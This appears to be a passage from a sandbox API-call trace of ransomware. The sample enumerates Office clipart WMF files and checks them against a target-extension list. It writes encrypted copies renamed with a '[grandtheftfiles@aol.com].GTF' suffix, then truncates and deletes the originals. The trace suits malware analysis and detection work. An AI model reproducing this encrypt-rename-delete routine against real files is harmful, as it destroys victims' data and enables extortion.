	[0083.468] lstrlenW (lpString=".ppt") returned 4
	[0083.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.468] lstrlenW (lpString=".zip") returned 4
	[0083.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.468] lstrlenW (lpString=".rar") returned 4
	[0083.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.468] lstrlenW (lpString=".bz2") returned 4
	[0083.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.468] lstrlenW (lpString=".7z") returned 3
	[0083.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.468] lstrlenW (lpString=".dbf") returned 4
	[0083.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.468] lstrlenW (lpString=".1cd") returned 4
	[0083.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.468] lstrlenW (lpString=".jpg") returned 4
	[0083.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.468] lstrlenW (lpString=".doc") returned 4
	[0083.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.468] lstrlenW (lpString=".docx") returned 5
	[0083.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.468] lstrlenW (lpString=".pdf") returned 4
	[0083.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.469] lstrlenW (lpString=".xls") returned 4
	[0083.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.469] lstrlenW (lpString=".xlsx") returned 5
	[0083.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.469] lstrlenW (lpString=".ppt") returned 4
	[0083.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.469] lstrlenW (lpString=".zip") returned 4
	[0083.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.469] lstrlenW (lpString=".rar") returned 4
	[0083.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.469] lstrlenW (lpString=".bz2") returned 4
	[0083.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.469] lstrlenW (lpString=".7z") returned 3
	[0083.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.469] lstrlenW (lpString=".dbf") returned 4
	[0083.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.469] lstrlenW (lpString=".1cd") returned 4
	[0083.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.469] lstrlenW (lpString=".jpg") returned 4
	[0083.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.469] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.469] lstrlenW (lpString="BL00248_.WMF") returned 12
	[0083.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.470] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1536) returned 1
	[0083.470] CloseHandle (hObject=0x370) returned 1
	[0083.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220
	[0083.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.470] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.470] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.471] GetLastError () returned 0x0
	[0083.471] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x600, lpOverlapped=0x0) returned 1
	[0083.481] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x610, lpOverlapped=0x0) returned 1
	[0083.482] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.482] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.482] SetEndOfFile (hFile=0x368) returned 1
	[0083.482] CloseHandle (hObject=0x368) returned 1
	[0083.483] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.483] SetEndOfFile (hFile=0x370) returned 1
	[0083.484] CloseHandle (hObject=0x370) returned 1
	[0083.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1
	[0083.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.484] lstrlenW (lpString=".doc") returned 4
	[0083.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString=".docx") returned 5
	[0083.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.485] lstrlenW (lpString=".pdf") returned 4
	[0083.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString=".xls") returned 4
	[0083.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.485] lstrlenW (lpString=".xlsx") returned 5
	[0083.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.485] lstrlenW (lpString=".ppt") returned 4
	[0083.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.485] lstrlenW (lpString=".zip") returned 4
	[0083.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.485] lstrlenW (lpString=".rar") returned 4
	[0083.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString=".bz2") returned 4
	[0083.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString=".7z") returned 3
	[0083.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.485] lstrlenW (lpString=".dbf") returned 4
	[0083.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.485] lstrlenW (lpString=".1cd") returned 4
	[0083.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.485] lstrlenW (lpString=".jpg") returned 4
	[0083.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.485] lstrlenW (lpString=".doc") returned 4
	[0083.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.485] lstrlenW (lpString=".docx") returned 5
	[0083.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.485] lstrlenW (lpString=".pdf") returned 4
	[0083.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.486] lstrlenW (lpString=".xls") returned 4
	[0083.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.486] lstrlenW (lpString=".xlsx") returned 5
	[0083.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.486] lstrlenW (lpString=".ppt") returned 4
	[0083.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.486] lstrlenW (lpString=".zip") returned 4
	[0083.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.486] lstrlenW (lpString=".rar") returned 4
	[0083.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.486] lstrlenW (lpString=".bz2") returned 4
	[0083.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.486] lstrlenW (lpString=".7z") returned 3
	[0083.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.486] lstrlenW (lpString=".dbf") returned 4
	[0083.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.486] lstrlenW (lpString=".1cd") returned 4
	[0083.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0083.486] lstrlenW (lpString=".jpg") returned 4
	[0083.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.486] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.486] lstrlenW (lpString="BL00254_.WMF") returned 12
	[0083.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.496] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1736) returned 1
	[0083.496] CloseHandle (hObject=0x370) returned 1
	[0083.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220
	[0083.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.496] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.496] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.497] GetLastError () returned 0x0
	[0083.497] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x6c8, lpOverlapped=0x0) returned 1
	[0083.498] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x6d0, lpOverlapped=0x0) returned 1
	[0083.499] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.499] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.499] SetEndOfFile (hFile=0x368) returned 1
	[0083.499] CloseHandle (hObject=0x368) returned 1
	[0083.500] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.500] SetEndOfFile (hFile=0x370) returned 1
	[0083.501] CloseHandle (hObject=0x370) returned 1
	[0083.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1
	[0083.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.501] lstrlenW (lpString=".doc") returned 4
	[0083.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.501] lstrlenW (lpString=".docx") returned 5
	[0083.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.502] lstrlenW (lpString=".pdf") returned 4
	[0083.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.502] lstrlenW (lpString=".xls") returned 4
	[0083.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.502] lstrlenW (lpString=".xlsx") returned 5
	[0083.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.502] lstrlenW (lpString=".ppt") returned 4
	[0083.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.502] lstrlenW (lpString=".zip") returned 4
	[0083.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.502] lstrlenW (lpString=".rar") returned 4
	[0083.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.502] lstrlenW (lpString=".bz2") returned 4
	[0083.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.502] lstrlenW (lpString=".7z") returned 3
	[0083.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.502] lstrlenW (lpString=".dbf") returned 4
	[0083.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.502] lstrlenW (lpString=".1cd") returned 4
	[0083.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.502] lstrlenW (lpString=".jpg") returned 4
	[0083.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.502] lstrlenW (lpString=".doc") returned 4
	[0083.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.502] lstrlenW (lpString=".docx") returned 5
	[0083.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.502] lstrlenW (lpString=".pdf") returned 4
	[0083.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.503] lstrlenW (lpString=".xls") returned 4
	[0083.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.503] lstrlenW (lpString=".xlsx") returned 5
	[0083.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.503] lstrlenW (lpString=".ppt") returned 4
	[0083.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.503] lstrlenW (lpString=".zip") returned 4
	[0083.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.503] lstrlenW (lpString=".rar") returned 4
	[0083.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.503] lstrlenW (lpString=".bz2") returned 4
	[0083.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.503] lstrlenW (lpString=".7z") returned 3
	[0083.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.503] lstrlenW (lpString=".dbf") returned 4
	[0083.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.503] lstrlenW (lpString=".1cd") returned 4
	[0083.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0083.503] lstrlenW (lpString=".jpg") returned 4
	[0083.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.503] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.503] lstrlenW (lpString="BL00262_.WMF") returned 12
	[0083.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.504] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2556) returned 1
	[0083.504] CloseHandle (hObject=0x370) returned 1
	[0083.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220
	[0083.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.504] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.504] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.504] GetLastError () returned 0x0
	[0083.504] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x9fc, lpOverlapped=0x0) returned 1
	[0083.506] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa00, lpOverlapped=0x0) returned 1
	[0083.507] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.507] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.507] SetEndOfFile (hFile=0x368) returned 1
	[0083.507] CloseHandle (hObject=0x368) returned 1
	[0083.508] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.508] SetEndOfFile (hFile=0x370) returned 1
	[0083.509] CloseHandle (hObject=0x370) returned 1
	[0083.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1
	[0083.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.509] lstrlenW (lpString=".doc") returned 4
	[0083.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString=".docx") returned 5
	[0083.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.510] lstrlenW (lpString=".pdf") returned 4
	[0083.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString=".xls") returned 4
	[0083.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
